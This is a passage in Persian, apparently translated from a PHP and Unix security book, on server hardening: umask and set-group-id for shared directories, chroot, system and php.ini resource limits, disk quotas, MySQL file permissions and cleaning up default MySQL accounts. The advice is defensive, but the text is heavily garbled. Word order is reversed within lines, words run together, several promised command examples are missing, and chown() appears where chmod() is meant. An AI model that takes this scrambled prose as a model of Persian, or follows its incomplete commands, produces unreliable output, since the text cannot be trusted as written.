umask شودمی ایجاد کاربر این توسط که دایرکتوری یا و فایل هرجهت  فرضپیش حالات که است چیزی 

 تولید، حال در فایل نوعجهت  مجوزها سطح بالاترین از را umask مقدار عامل سیستم کند،می مشخص را

 کند. می کم
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 شود(، روشن واضح صورت به بعدا باید اجرا قابل )بخش باشند اجرا قابل ایجاد، هنگام که ندارند اجازهها فایل

 قابل صورت به معمولا بایدها دایرکتوری که آنجا از است. ولی 666 با برابر فایل تولید حالتی بیشینه بنابراین

 umask است. با 777 با برابرها آنی بیشینه مقدار داد(، تغییر نیز راها آن بتوان )که شوند ایجاد اجرا

 کم وآورد ارائه می راها جهت دایرکتوری 755 فرضپیش مجوزهای ،777 از کردن کم ،022 فرضپیش

 . آوردارائه میها فایلجهت  را 644 حالت مقدار 666 از کردن

 اعضای سایر توسط خواهیممی کنیممی کار گروهیهای دایرکتوری وها فایل با اینجا در ما که آنجا از ولی

 انجام 002 با برابرتر آزادانه اندکی umask یک تنظیم با را کار این توانیممی باشند. ما نوشتن قابل نیز گروه

 دسترسیی اجازه ولی باشند نوشتن قابل جهان توسطها فایل که شودمی این مانع همچنان مقدار دهیم. این

 جدید مقدار این ایجادجهت  روش نمود. دو خواهد ارائه باشد، فایل گروه همان در که کسی هر به را کامل

umask دستور یک صدور با را کار این توانیدمی دارد. شما وجود umask 002 های فایل با کارکردن از قبل

 دهید.  انجام اشتراکی،

 دهید. انجام تغییر را لاگین اسکریپت در شده ذخیره فرضپیش مقدار که است این بهتری گزینه یک احتمالا

 وی و باشد، کاربر نام همان دارای )یعنی، باشد اختصاصی کاربر، فرضپیش گروه اگر بود خواهد ایمن کار، این

 گروه اگر حال، این شوند(. با اضافه آن به آشکار صورت به دیگر افراد اینکه مگر باشد گروه این عضو تنها

 نباید که بدهد دسترسیی اجازه کاربرانی به است ممکن مقدار این آنگاه نباشد، اختصاصی وی، فرضپیش

 باشند.  داشته را دسترسی این

set-group-id 

 با را هستند درستی گروهی مالکیت دارایها فایل اینکه از اطمینان چگونگی مشکل، دو این از مورد دومین ما

group-set- از استفاده باها فایل این حالات 37نمودنستری یعنی کنیم،می حل خود بعدی جادوییی حقه

id،معمولا . set-group-id یا SGID، پردازش به دستور این گردد؛می اجرا فایل که شودمی فعال هنگامی 

 این به متعلقهای فایل که نماید اتخاذ را فایل با مشابه گروه ID موقت صورت به که دهدمی اجازه حاصل

 یا set-user-id تابع با مشابه پردازش دهد. )اینمی قرار دیگران دسترس در وابسته( را )احتمالا گروه

SUID مثل برنامه یک تا دهدمی اجازه معمولی کاربر یک به که باشدمی passwd کند اجراای گونه به را 

 روی بر خاص معنای یک دارای SGID پردازش ،SUID برخلاف حال، این است(. با root گویی که

 به یکسانی گروهی مالکیت دارای تا نماید مجبور را جدیدهای فایل تواندمی آنجا در که استها دایرکتوری

 کنیم.  حل را مشکل این تا دهدمی اجازه ما به که است خاص معنای همین باشند. دقیقا دایرکتوری آن مانند
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 دایرکتوری یک روی بر را set-group-id پرچم توانیدمی شما ،chmod الفبایی ویرایش از استفاده با

 شود: می انجام زیر دستور با امر این که کنید تنظیم www گروه توسط یافته اشتراک

 

 گروه با فایل این کند،می ایجاد دایرکتوری این در جایی در را جدید فایل یک timb که هنگامی اکنون،

 به را دایرکتوری این قبل از که شودمی مرتبط www گروه با بلکه شودنمی مرتبط timb یعنی وی اصلی

 گیرد.  قرار گروه این اعضای دیگر تمامی دسترس در فایل این که شودمی باعث امر است. این گذاشته اشتراک

 قرار 2 یک هشت مبنای مجوزهای از قبل که است این chmod هشت مبنای ویرایش با امر این انجام روش

 ( باشد---rwxrwx) 770 هشت مبنای حالت دارای دایرکتوری یک که خواهیدمی شما اگر دهید. بنابراین،

 chmod 2770 دستور از کنید، تنظیم نیز را set-group-id بخش که خواهیدمی همچنین و

/path/to/directory کنیم. می استفاده 

  فایل دسترسیهای کنترل با کردن جهت کار PHP ابزارهای 4.1.4

PHP مورد تاکنون که هستند یونیکس سیستم ابزارها با مشابه اصولا که است درونی عملکردهای دارای 

 استفاده مورد شماهای اسکریپت توسط توانندمی ()chmod وchown()، chgrp توابع دادیم، قرار بررسی

 حال، این دهند. بامی انجام ها،نام همین با یونیکس دستورات که دهند انجام را کارهایی همان تا گیرند قرار

 حال، این فراخواند. باها دایرکتوری روی بر بازگشتی صورت به تواننمی را توابع دارد: این وجود استثنا یک

 هاییاسکریپتجهت  پیشنهاداتی ،  شاملPHP دستورالعمل در توابع این خصوص در کاربران نظرات

 هستند.  بازگشتی عملکرد شامل که باشندمی

 مفید شوند،می اجرا فرمان خط از که مدیریتیهای اسکریپت در تنها عموما ()chgrp و ()chown توابع

 اختیاری صورت به یا و داده تغییر را فایل یک مالکیت تواندکاربر( می )ابر root تنها که دلیل این به هستند

 این با دهد تغییر را گروهی ارتباط تواندمی فایل یک مالک که دارد واقعیت دهد. این تغییر را گروهی ارتباط

 عنوان به معمولا وبهای اسکریپت که آنجا است. از آن از عضوی وی که دیگر گروه یک به تنها حال

nobody صورت به تواننمی را توابع این از هیچکدام است، گروه دیگرهای عضویت دارای که شوندمی اجرا 

 داد.  قرار استفاده مورد آنلاینهای برنامه توسط مستقیم

 کنید. در استفاده هشت مبنای حالت تخصیص یک از باید شما ،PHP در ()chown تابع با کردن کار هنگام

PHP، به بعدی رقم سه که شود حاصل اطمینان تا هستند)صفر(  0 پیشوند یک دارای هشت مبنای اعداد 

 chmod 775 /path/to/file با برابر دستور ده. بنابراین مبنای نه و شوندمی تعبیر هشت مبنای عنوان

جهت  PHP از خواهیدمی اگر مشابه، شکل . بهchmod( ‘/path/to/file’, 0755) با بود خواهد برابر



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

131 

 

 
 

 حالت از قبل را صفر یک باید هم باز کنید، استفاده دایرکتوری یک روی بر set-group-idی قطعه تنظیم

 . chown( ‘/path/to/directory’, 0277)شکل:  این به دهید، قرار هشت مبنای

 تابع باید( از )و توانندمی کنندمی ایجاد را اشتراکیهای دایرکتوری وها فایل که PHPهای اسکریپت

umask() مقدار آشکار صورت به تا کنند استفاده umask پیشوند(  صفر با 0002 )یا 002 مقدار با برابر را

 شکل:  این به دهند، قرار دایرکتوری، یا فایل تولید از قبل

 

  خودی خانههای دایرکتوری ها( در دایمون )و دهندگان توسعه داشتننگه 4.1.5

باشند( ها پردازش یاها انسان است ممکن )که کاربران که مکانی کنترل از است عبارت مجوزها اصلی هدف

 یک به محدود را پردازش یا کاربر یک خواهیدمی شما گاهی بروند. ولی root سیستم فایل در توانندمی

ریشه(  )یعنی / عنوان بهها آن که را چیزی موثر صورت به تا نمایید سیستم فایل از کوچکی زیرمجموعه

ریشه(  )تغییر chroot ها. دستورآنی خانه دایرکتوری مثلا دهید، تغییر دلخواه دایرکتوری یک به بینندمی

کردن(  jail) کردن محدودجهت  توانمی را دستور است. این محدودیتی چنین اعمالجهت  قوی روش یک

 آن که صورت این به داد قرار استفاده مورد سیستم، فایل از بخشی در خودکار، پردازش یا انسانی کاربر یک

 ندارد.  وجود شما( جهت رفتن، دیدگاه به بسته تر، عمیق )یا بالاتر دایرکتوری هیچ که کند فکر کاربر

بود.  خواهد آمدن بیرونجهت  قوی مهاجم یکجهت  ساده مورد یک jail chroot یک که داشت توجه باید

 عنوان به نمایند chroot را عمومیهای دایمون که دهندمی ترجیحها سیستم مدیران از بسیاری حال، این با

 دستورات تا دهد اجازه مهاجم یک به که شود یافت اکسپلویت یک که زمانیجهت  اضافی امنیتی اقدام یک

 کردنجهت قفل chroot از ،SSH مجوزهای جداسازی نماید. ویژگی اجرا دایمون، این طریق از را سیستمی

 خصوصا ،FTP سرورهای از بسیاری کند. ومی استفاده خالی، دایرکتوری یک در مجوز بدون کاربر

ProFTPd کاربران تا دهندمی اجازه شما به رایگان FTP نمایید.  محدود خود،ی خانه دایرکتوری به را 

ها پردازش مجوزهای بر کنترل مورد در ما آخر بخش این در که باشند دریافته است ممکن دقیق خوانندگان

 با سیستم خود از حفاظت از است عبارت که رساندمی بعدی موضوع به را ما امر کردیم. این صحبت نیز

 خود.  درستهای مکان درها پردازش داشتننگه

  خودش برابر در سیستم از حفاظت 4.2

 در شده محدود صورت به عملیات انجامجهت  کاربران مجوزهای حفظ خصوص در بحث حال در ما

 و نامناسب رفتارهای انجامجهت  کاربران این از ممانعت باعث که ایم، بوده سیستم فایل مناسبهای بخش

 باشد. می حدود از خارج
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 رفتار از مشابه شکلی به باید که است عاملسیستم خود حتی یا و مختلفهای پردازش این گاهی، حال، این با

 قرار انسانی کاربران روی بر ما که است هاییمحدودیت محدودیت مشابه شود. این بازداشته نامناسب

 سیستم شما،های برنامهجهت  امنیت کاهش به منجر کنترل از خارج رفتارهای حالت، دو هر دهیم. درمی

 شد.  خواهد شما، کاربرانهای همه( داده ازتر )مهم و شما

ی اندازهی کنیم: بیشینهمی آشنا سیستمی سطح منابع محدودیت مفهوم با را شما ما بخش، این در بنابراین،

 خوبهای غیره. کتاب و لاگین،های زمان ها،دیسک سهم ها،پردازش تعداد یبیشینه حافظه، وها فایل

 توانیممی تنها اینجا در ما بنابراین اند، یافته اختصاص موضوع این به کامل صورت به که دارد وجود بسیاری

 نماییم.  بیان را سطحی موارد

 دارند، فرق هم با مختلفهای عامل سیستم درها محدودیت این اجرای و تنظیم دقیقهای روش که حالی در

 منابعهای محدودیت این که گرفتید تصمیم دارد. اگر وجود اصلیهای توزیع تمامی در کار این انجام ظرفیت

 )احتمالا یا بیابید خود مختص عامل سیستمجهت  سیستمی مدیریت راهنمای یک باید نمایید، اعمال را

 بسپارید.  مجرب سیستم مدیر یک به را کار بهتر( این روشی

 زیادی حد تا امر این کنید؟ استفاده سیستمی سطح منابعهای محدودیت از خواهیدمی زمانی چه بنابراین،

 مجموعه با سایتی نمود. هر تجسم را سناریوها از تعدادی توانمی سادگی به ولی است موقعیت به وابسته

 اجازه کاربران اگر الخصوص علی باشدمی سیستمی سطحهای محدودیتجهت  مناسب نامزد یک بالا کاربر

 شده )بحث باشدمی خود به متعلق آپلودهای محدودیت دارای PHP که حالی نمایند. در آپلود فایل که دارند

 PHP بر علاوهها آن طریق از توانندمی کاربران که دارد وجود نیز دیگر روش زیادی تعداد بعدی(، بخش در

پیوست ها   آن، در که است میل وب سایت یک دست این از مثالترین نمایند. واضح آپلود فایل سرور روی بر

(attachmentsهم ) طریق از هم ارسالی( و پیام یک )ایجاد وب رابط یک طریق از SMTP های )پیام

 ضروری را امر این ایمیل دهندگان ارائه از بسیاری بگذاریم، کنار را گوگل شوند. اگرمی سیستم ورودی( وارد

 از پر اینباکس یک که شوند آن مانع تا نمایند اعمال خود کاربران بر را منابعهای محدودیت که دانندمی

های محدودیت آن، در که دیگر وضعیت شود. یک دسترس در دیسک فضای تمامی اشغال باعث هرزنامه

جهت  یا شبکه ارتباطات به دادن گوشجهت  دایمون یک از استفاده هنگام هستند اهمیت دارای منابع

جهت  دایمون مانع توانیدمی شما حافظه، محدودیت یک تعیین باشد. بامی وظیفه یک نمودن خودکار
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 نویسبرنامه خطای دلیل به مثلا شود خارج کنترل از دلیلی به پردازش این اگر شوید سیستم 38نمودنهنگ

 سرویس.  رد فعالی حمله یک یا و

  منابعهای محدودیت 4.2.1

 پردازش یک توسط توانندمی که را CPU زمان یا حافظهی بیشینه مقدار تا دارند وجود هاییمکانیسم معمولا

 و کند، اجرا تواندمی کاربر هر که را همزمانیهای پردازشی بیشینه تعداد گیرند، قرار استفاده مورد یکتا

 مدیر به حتی عاملهایسیستم از کنند. تعدادیمی محدود را دیسک روی بر فایل یکی بیشینهی اندازه

ندارند.  یا دارند ورودی اجازه خاص کاربران که نماید مشخص را روز از هایی زمان تا دهندمی اجازه سیستم

 بسیار امنیت با مرتبط تنظیمات بنابراین و دهدمی اهمیت امنیت به بسیار )که FreeBSD در جهت مثال،

 در تنظیمات توسط معمولا منابعهای محدودیت کند(،می ارائهها توزیع سایر به نسبت را بالاتری

/etc/login.conf تعریف را کاربران از مختلفیهای دسته تا دهندمی اجازه 39ادمین به که شوندمی مشخص 

 دارد اجازه که کنید مشخص را دایمون لاگین کلاس یک توانیدمی شما شکل، این به سیستمی نماید. تحت

 شدیدیهای محدودیت دارای ولی کند استفاده CPU از توجهی قابل مقدار از و کند باز را بسیاریهای فایل

 شوند. درمی داده اجازه که هاییپردازش تعداد و گیرد قرار استفاده مورد تواندمی که استای حافظه مقدار بر

 شوند. می مشخص etc/pam.d/limits.conf/ و etc/login.defs/ در اغلب منابعهای محدودیت لینوکس،

 : نکته

شود( می استفادهها آن خواندنجهت  که man دستور اساس بر man pages )یا دستورالعمل صفحات

 همچنین هستند. شما فنی سوالات چنینجهت  قطعی مراجع شما، لینوکس یا یونیکسی جهت نسخه

 شما دسترس در یونیکس سیستم یک اگر بخوانید آنلاین صورت به را دستورالعمل صفحات این توانیدمی

 صفحات دارند. ما هم با هاییتفاوت چه مختلف،های توزیع در هایینسخه که بدانید مایلید یا نیست

 دهیم. می پیشنهاد مناسب، نگهداری با و واضح منبع یک عنوان به را OpenBSD آنلاین دستورالعمل

 از خارج اصولا گفتیم، قبلا که طورهمان منابع،های محدودیت تنظیم و تعیینجهت  دقیقهای دستورالعمل

 و بزرگهای سیستم روی بر دفاعی خط اولین موارد این سنتی صورت به ولی هستند مستند اینی گستره

 خصوص در خود سیستم فرضپیشهای محدودیت با که دارد اهمیت نکته این هستند. همچنین کاربری چند
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جهت  PHP اسکریپت یک که هاییزمانجهت  باشید داشته آشنایی فایل،ی اندازه یبیشینه چون مواردی

 کند. نمی کار خوبی به بزرگهای فایل

 توسط دستی صورت به توانندمی نرمهای سخت. محدودیت و دارد: نرم وجود منابع محدودیت نوع دو معمولا

 تا باشدمی منابع از وی فرضپیش مقادیر نیازمند ویی برنامه اگر یابند افزایش مجوز دارای کاربر یک

های محدودیت تغییر چگونگی پیرامون است. برای جزئیات شده مشخص سخت حد عنوان به که مقداری

 هستند. صفحات متفاوت هم باها نسخه که چرا کنید مراجعه خود عاملسیستم مستندات به منابع

 وجود هشدار یک عنوان به بیشتر نرم هستند. محدودیت مناسب آغازی نقطه یک ulimitجهت  دستورالعمل

 محدودیت از توانیدمی باشد لازم کند. اگرمی عمل ماشین، بنزین نشانگر در قرمز خط شبیه حدی تا و دارد

 مدیر توسط تواندمی تنها سخت است. محدودیت اتمام حال در شما فضای که دانیدمی ولی کنید عبور نرم

 باشد. می منابع از استفادهجهت  قطعی سقف یکی دهنده نشان و شود داده تغییر سیستم

 ( Disk Quotas) دیسک سهم 4.2.2

ها شود. سهممی انجام دیسک سهم طریق از مختلف کاربران به یافته اختصاص دیسک فضای میزان کنترل

 است خاصی باینری سهمهای فایل دارای که شوندمی ( فعالmount point) دیسک لودی نقطه از معمولا

 سهم یابد. یک اختصاصها گروه و/یا کاربرانجهت  صورت چه به باید دیسک فضای میکنند مشخص که

 مشخص مدتیجهت  البته رفت فراتر آن از توانمی و شودمی گرفته نظر در نرم محدودیت عنوان به دیسک

 تا نماید ذخیره را بیشتریی داده تواندنمی دیگر کاربر و شودمی تبدیل سخت محدودیت یک به آن از بعد که

 نماید.  حذف را دیگرهای فایل اول که زمانی

 سیستم مستندات به دیسک سهم سازیفعال و تنظیم چگونگی خصوص در اختصاصی و دقیق جزئیات برای

 شروعجهت  مناسبی جای quoton(8) و quota(1)جهت  دستورالعمل کنید. صفحات مراجعه خود عامل

 هستند. 

 تابع که هرچند نمایید اجرا خود PHPهای برنامه در را دیسک از استفادههای محدودیت توانیدمی همچنین

 ضروری ندارد. بنابراین، وجود بدهد، شما به دایرکتوری یک در راها فایل تمامی تجمیعیی اندازه که داخلی

 شکل:  این به شود، اجرا PHP درون از یونیکس du دستور که است

 

 دایرکتوری توسط استفاده مورد دیسک فضای از خطی یکی خلاصه یک که گویدمی duبه s- آرگومان

 یک و کندمی مرور بازگشتی صورت به را دایرکتوری محتوای du آن، دهد. بدون ارائه را path$ در موجود
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 لیست، انتهای در سپس و کندمی ایجاد زیردایرکتوری هر توسط استفاده مورد دیسک فضایجهت  را خط

 مرور را بزرگهای دایرکتوری که بکشد طول duجهت  ثانیه چندین است دهد. ممکنمی نشان را مجموع

 صورت به تنها را du که کنید کدنویسیای گونه به را خودی برنامه که باشد بهتر است ممکن بنابراین کند

 کند.  کش را نتایج و نموده اجرا تناوبی

 PHP خود منابعهای محدودیت 4.2.3

PHP در که است منابعهای محدودیت مخصوصی مجموعه دارای php.ini ترینمعمول و شوندمی تنظیم 

 وجودها دستورالعمل اینجهت  پیشنهادی یا و صحیح تنظیمات کنند. هیچمی کنترل را منابعهای محدودیت

 این سپس و هستند مناسب هایی،محدودیت چه که دریابید تا کنید تحلیل را خودهای برنامه باید شما ندارد؛

 کنید:  مشخص اساس، این بر راها دستورالعمل

 راها فایل آپلود که خواهدمی PHP آیا که کندمی کنترل را مسئله این file_uploads بولی دستورالعمل

 خیر.  یا نماید مدیریت

 شده آپلودهای فایلجهت  شده داده اجازهی بیشینهی اندازه میزان upload_max_filesize دستورالعمل

 کند. می کنترل را

جهت  POST_$ی آرایه کلی اندازه نمودن محدودجهت  توانمی را post_max_filesize دستورالعمل

 داد.  قرار استفاده مورد HTTP POSTهای درخواست

 تواندمی مدت چه تا شما اسکریپت که کندمی کنترل را مسئله این max_execution_time دستورالعمل

 ساعت شد. این خواهد بسته و رفت خواهد شمار به منابعجهت  مشکل یک عنوان به آن از پس و شود اجرا

 یک )( جهت اجرایshell_exec از اگر حتی بنابراین شودنمی اجرا PHP از بیرون رخدادهایجهت 

 استفاده max_execution_time با کوتاه نسبتا زمان یک از توانیدمی کنید، استفاده طولانی پردازش

 کنید. 

 بکشد طول زمانی از بیش اگر شود متوقف PHP اجرای که شودمی باعث max_input_time تنظیمات

 اید.  کرده تعیین کنسول، روی بر پاسخ یک نوع یا وها داده آپلودجهت  شما که

-- تنظیمی سویچ توسط باید شما PHP باینری ،memory_limit دستورالعمل از استفاده منظور به

enable-memory-limit راای حافظهی بیشینه مقدار توانیدمی شما صورت، این باشد. در شده کامپایل 

 نمایید.  مشخص نماید، مصرف تواندمی PHPهای پردازش از کدام هر که

 به کندمی فعال نیز )( راmemory_get_usage تابع همچنین حافظه محدودیت ویژگی نمودن فعال

 دهید.  تشخیص PHPهای اسکریپت درون از را منابع از استفاده توانیدمی که صورتی
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 جهت هر MySQL ارتباطاتی بیشینه تعداد نمودن مشخص باعث mysql_max_links دستورالعمل

های پایگاه با ارتباط تعداد این از بیشتر تعدادی تواندنمی PHP اسکریپت هر کهای گونه به شودمی پردازش

 تعداد با برابر باید بگیرید، ویژگی این از استفاده به تصمیم نماید. اگر ایجاد زمان، هر در را MySQLی داده

 است.  مورد یک تنها معمولا که دهدمی قرار استفاده مورد شمای برنامه که باشدای دادههای پایگاه

  دادههای پایگاه از حفاظت 4.3

 بر که ایم نموده صحبت کلی صورت بهها دایرکتوری وها فایل به دسترسی روی بر کنترل خصوص در ما

 وها فایل به دسترسی مدیریت به باشد. اکنونمی php.ini تنظیمات یا و عامل سیستم اساس

 که است دلیل این به حدودی تا که پردازیممی MySQLی دادههای پایگاه با مرتبط خاصهای دایرکتوری

 فصل، این بعدی بخشجهت  که دلیل این به نیز حدی تا و باشدمی خاصی مشکلات دارای کار این انجام

 شویم.  آماده

 در را ابتدایی مفاهیم توانیممی تنها ما بنابراین نوشت، موضوع این خصوص در توانمی را کاملیهای کتاب

 کنند،می کار هم با نزدیک صورت به اغلب MySQL و PHP که آنجا از دهید. ولی قرار بحث مورد اینجا

 بحث است. جهت یک اهمیت دارای نویسیبرنامه هرجهت  دادههای پایگاه از حفاظتجهت  مفاهیم این درک

باشد( نمی MySQL مختص که )هرچند دهیممی پیشنهاد که کتابی موضوع، این خصوص درتر پیشرفته

)  لویس موریسی نوشته SQL سرور امنیتی خلاصه از است عبارت

 .) 

 که طور)همان که کنیممی فرض هستند. ما سیستم روی بر شماهای داده قلب مطمئنا شمای دادههای پایگاه

 مالکین اگر حتی ولی شوند داشتهنگه مخفی باید که هستید هاییداده دارای نماییم( شمامی فرض همواره

های است. داده وابستهها آن تصمیم به امر این باشند، نداشتهها آن شدن افشا با مشکلیها داده این واقعی

 مدیر یک عنوان به شما که دلیل این به نه و باشند عمومی خواهندها میآن که چرا شود عمومی بایدها آن

 اید. نکرده مبذول را لازم توجه ،هاآن از حفاظت در سیستم،

 دادهپایگاه سیستم فایل مجوزهای 4.3.1

 ذخیره MySQLی داده دردایرکتوری که هستند باینریهای فایل شامل MySQLی دادههای پایگاه

 فایل در توانمی را مکان این ولی باشدمی var/db/mysql/ فرضپیش صورت به مکان اند. اینشده

 مجوزهای دارای، دایرکتوری این اینکه از نمود. اطمینان بازنویسی فرمان، خط روی بر یا و سرور تنظیمات

 واضح است ممکن باشد. ولیمی شماهای داده کلی امنیتجهت  بالایی بسیار اهمیت دارای باشدمی صحیح

 توسط که لاگ فایل نوع هستند. هر حفاظتی چنین نیازمند که نیستند دادههای فایل خود تنها این که نباشد

 ( نیز) شودمی ایجاد شما MySQL سرور
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 شامل که باشند جستجوهای ساده متن شامل است ممکن که چرا است، حفاظتی چنینی شایسته

 این بتواند که باشد. هرکسیمی حساس اطلاعات سایر یا وها برنامه رمزعبور شامل که است جستجوهایی

 ،MySQL خصوص آورد. درارائه  نیز راها آن در موجود رمزعبور نوع هر مالکیت تواندمی بخواند راها فایل

 var/db/mysql/ یعنی دادهپایگاه دایرکتوری خود از است عبارت، لاگهای فایل اینجهت  فرضپیش مکان

 البته، کند. وتر میراحت همزمان، صورت به راها لاگ هم و دادهپایگاههای فایل به هم دسترسی کنترل که

 نمود.  نخواهید ذخیره را جستجو هر احتمالا شما تولید سیستم یک روی بر است؛ اختیاری دقیق لاگ

های دایرکتوری وها فایل تمامیجهت  را درستی دسترسی مجوزهای که باشید مراقب باید شما صورت، هر در

 سطوح تا کنید تلاش که است فایدهکنید. بیمی تنظیم خود،ی دادهپایگاه توسط استفاده موردی مربوطه

 این داد(. اگر خواهیم قرار بحث مورد فصل این بعدی بخش در که طور)همان نمایید ارائه را امنیت از بالاتری

 قرار مجوز بدون خوانندگان توسط نوشتن حتی یا و خواندن برابر در کامل صورت بهها دایرکتوری وها فایل

 باشند.  داشته

 دهیم: می پیشنهاد را زیر فرآیند ما

 تنها معمولا شما (،var/db/mysql/ معمولا کردیم، اشاره قبلا که طور)همان داده دایرکتوری خود درون -1

 دایرکتوری، این به تغییر از هستند. بعد دادهپایگاه یک با مرتبط کدام هر که یافت خواهید راها دایرکتوری

 سرور پردازش که دهید قرار userid همان با برابر راها زیردایرکتوری این تمامیهای گروه و مالکین

MySQL معمولا شودمی اجرا آن، عنوان به( mysql،) شود: می انجام دستور این با کار این که 

 

 و مالک یک ادامه باشد. درها میزیردایرکتوری تمامی روی بر بازگشت معنای به R- پرچم دستور این در

./  علامت نهایت کنیم. درمی مشخص شود، تنظیم خواهیممی که را نقطه دو علامت توسط جداشده گروه

 کند.  آغاز جاری دایرکتوری در را بازگشت که گویدمی عامل سیستم ممیز( به )نقطه

 شبیه دستوری با که دهید قرار mysql کاربر توسط تنها خواندن قابل روی بر را داده دایرکتوری حالت -2

 شود: می انجام این به

 

ممیز(  ./ )نقطه علامت و باشدها میزیردایرکتوری تمامی میان در بازگشت معنای به R- پرچم نیز، اینجا در

 مالکجهت  را rwx مجوزهای 700 هشت مبنای باشد. مقدارمی جاری دایرکتوری از شروع معنای به نیز

 کند. می خاموش را جهان و گروهجهت  مجوزها تمامی باشد( ومی mysql کاربر )که کندمی تنظیم

 دهید.  انجام نیز دیگری کارهای باید همچنان شدند، مشخص درستی به مجوزها که هنگامی حال، این با
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 Grant داده: جداولپایگاه به دسترسی کنترل 4.3.2

 صورت به که کنندنمی بررسی را mysqlی دادهپایگاه محتوای وقت هیچ MySQL کاربران از بسیاری

 توانندمی کاربران کدام که کندمی کنترل را مسئله این و شودمی ایجاد MySQL نصب هر در فرضپیش

 فرا سایر همچنین و دهند انجام باشند، داشته وجود است ممکن کهای دادههای پایگاه با کارهایی چه

 صلاحیت تایید با مرتبط مختلف کند. جداولمی ذخیره سرور روی بر دادههای پایگاه خصوص در را اطلاعات

 در REVOKE و GRANTهای گزاره توسط شکل بهترین به و هستند مرتبط و پیچیده کاربر،

MySQL یک با یا GUI قبیل از phpMyAdmin صلاحیت احرازی شوند. لایهمی مدیریت MySQL 

 است.  شده آورده MySQL دستورالعمل 6-5 و 5-5های بخش در

 دسترس از شماهای داده یا شوندمی باعث اشتباهات و است مشکل داده، اندکیپایگاه در grant جداول تغییر

 آشنا جداول این با باید شما که است دلیل همین به گیرند. ولی قرار جهان دید معرض در یا و شوند خارج

 شروع که دهید اجازه شود. بنابراین،می آغاز صلاحیت، احرازی لایه در دادهپایگاه موثر امنیت که چرا شوید

 کنیم. 

  MySQL نصب در امنیتی تنظیمات 4.3.3

 شوندمی مشخص mysql_install_db ابزار اجرای با فرضپیش دسترسی مجوزهای معمول، نصب یک در

 غیرایمن ترسناکی حد تاها فرضپیش این گردند(. متاسفانه،می ایجاد فرضپیش گرانت جداول )یعنی،

 هستند: 

 کاربر یک یونیکس، سیستم یک روی هستند. بر خالی رمزعبور دارای دو هر که شوندمی ایجاد root کاربر دو

root از تواندمی localhost وصل سرور که شود وصلمیزبانی  همان از تواندمی دیگری و شود مرتبط 

 روی یکسان(. بر IP آدرس یا mysql.example.com مثل یکسان،میزبان  نام از استفاده )یعنی، شودمی

شود.  وصلمیزبانی  هر از تواندمی دیگری و شود وصل localhost از تواندمی root کاربر یک ویندوز، سرور

 نیستند.  رمزعبوری هیچ دارای دو این که باشید داشته یاد به

 هایی نام )یا test نام بای دادههای پایگاه روی بر مجوزها تمامی دارای که شوندمی ایجاد ناشناس کاربر دو

شود.  وصل localhost از تواندمی کاربران این از یکی ،root مانند باشند. بهشوند( میمی شروع test با که

 اینجا ویندوز(. در روی )بر میزبانی هر از یا شود یونیکس( وصل روی )برمیزبان  همان از تنها تواندمی دیگری

 نیستند. عبوری رمز هیچ دارایها این نیز،

 یا آن نمودنتر سخت دهد، انجام جدید نصب یک با باید سیستم مدیر یک که چیزی اولین اساس، همین بر

 خط فعالیت نوع اینجهت  را PHP رپرهای اسکریپت ما قبلی،های فصل است. در آن کلی امنیت بهبود

 است سخت اندکی امر این ولیکردیم.  ایجاد سازگاری، ایجادجهت  هم و خود فعالیت ثبتجهت  هم فرمان
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 بنابراین، دارد. و بستگی های شما،query توسط شده تعیینی شیوه به شما، نصب دقیق وضعیت به که چرا

 ما دهید. بنابراین، انجام تعاملی صورت به را کار این باید شما پردازش، این روی بر کامل کنترل داشتنجهت 

 فرمان خط از یا خط به خط توانندمی که کنیممی ارائه را SQL دستورات از نمونه توالی یک اینجا در

MySQL یک طریق از یا و GUI مدیریتی MySQL قبیل از PHPMyAdmin شوند اجرا  

 

 

 ابتدا در که صورت این به کنیدمی تمیز را mysqlی دادهپایگاه شما ،testی دادهپایگاه نمودن حذف از بعد

 مستقل صورت به کاربران این مجوزهای مشخصات که کنید کنید. توجهمی حذف را محلی ناشناس کاربر هر

 راها آن مجوزهای باید هم شما بنابراین خیر، یا دارند وجود کاربران این خود آیا که دارند وجود مسئله این از

 خواهید انجام ناشناسی کاربرانجهت  را کار همین شما کنید. سپس، حذف راها آن خود هم و نمایید فسخ

 باشند داشته وجود شما سرور روی بر است ممکن که داد
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 کاربر تنهاجهت  رمزعبور یک که شوید مطمئن باید ادامه در شما شد، تمام کاری تمیز روند این اینکه از بعد

 استفاده با توانیدمی را امر شود. این تعیین است، root@localhost که قبول قابل و مانده باقی فرضپیش

 دهید:  انجام زیر، مانند به دستوری با mysqladmin فرمان خط ابزار از

 

 دادهپایگاه به root دسترسی که چرا شود انجام MySQL نصب از بعد باید که است کاری اولین واقع در این

 اعتقاد ما است. ولی داشته قرار عموم دسترس در کردید،می سخت راها جستجو داشتید که مدتی تمام در

 کار،ی ادامه از قبل را تست کاربری حساب دو و شبکه به دسترسی قابل root که است اینتر مهم که داریم

 را دسترسی واقعا تا نمایید مشخص را رمزعبور چهار هر باید فنی لحاظ از شما که دلیل این به کنیم حذف

 کنید.  محدود

  کارانه محافظه شکلی به مجوزها یارائه 4.3.4

 سپس و دهند انجام توانندمی کاربران که است چیزی به نزدیک و دقیق کاملا دید نیازمند واقعی امنیت

 ازتر واضح وتر مهم امر این جایی هیچ دهند. در انجام که باشند داشته اجازه باید را کارهایی چه اینکه تحلیل

 باشند.  داشته مجوزهایی چه باید شمای دادهپایگاه کاربران که نیست مسئله این خصوص در گیریتصمیم

 توانمی ندرت هستند. بهها برنامه بلکه نیستند انسان شما،ی دادهپایگاه کاربران اغلب، حتی شاید و بسیاری

 و  DROP TABLES قبیل از مدیریتی وظایف که باشند قادر بایدها برنامه ارتباطات چرا که یافت دلیلی

GRANT به باید و شوند ارائه مدیریتی کاربرانجهت  تنها باید خطرناکی مجوزهای دهند. چنین انجام را 

 شوند.  فسخ غیرمدیریتی،های حسابجهت  آشکار صورت

 مورد انسانی کاربرانجهت  کنیم: یکی ایجاد دادهپایگاه هرجهت  را حساب دو که است خوبیی ایده واقع، در

 بسیاری مجموعه یک با توانندها میبرنامه برنامه. اغلب خودجهت  دیگری داده( وپایگاه )مدیران اعتماد

 LOCK و SELECT، INSERT، UPDATE قبیل از دهند ادامه خود کار به مجوزها از محدود

TABLES . 

 کاربر که باشند داشته قرار جایی در دیسک روی بر باید برنامه یکی دادهپایگاه ارتباطی اطلاعات که آنجا از

nobody ممکن کند اجرا تواندمی برنامه حساب که جوهایی و جست کردن محدود بخواند، راها آن بتواند 

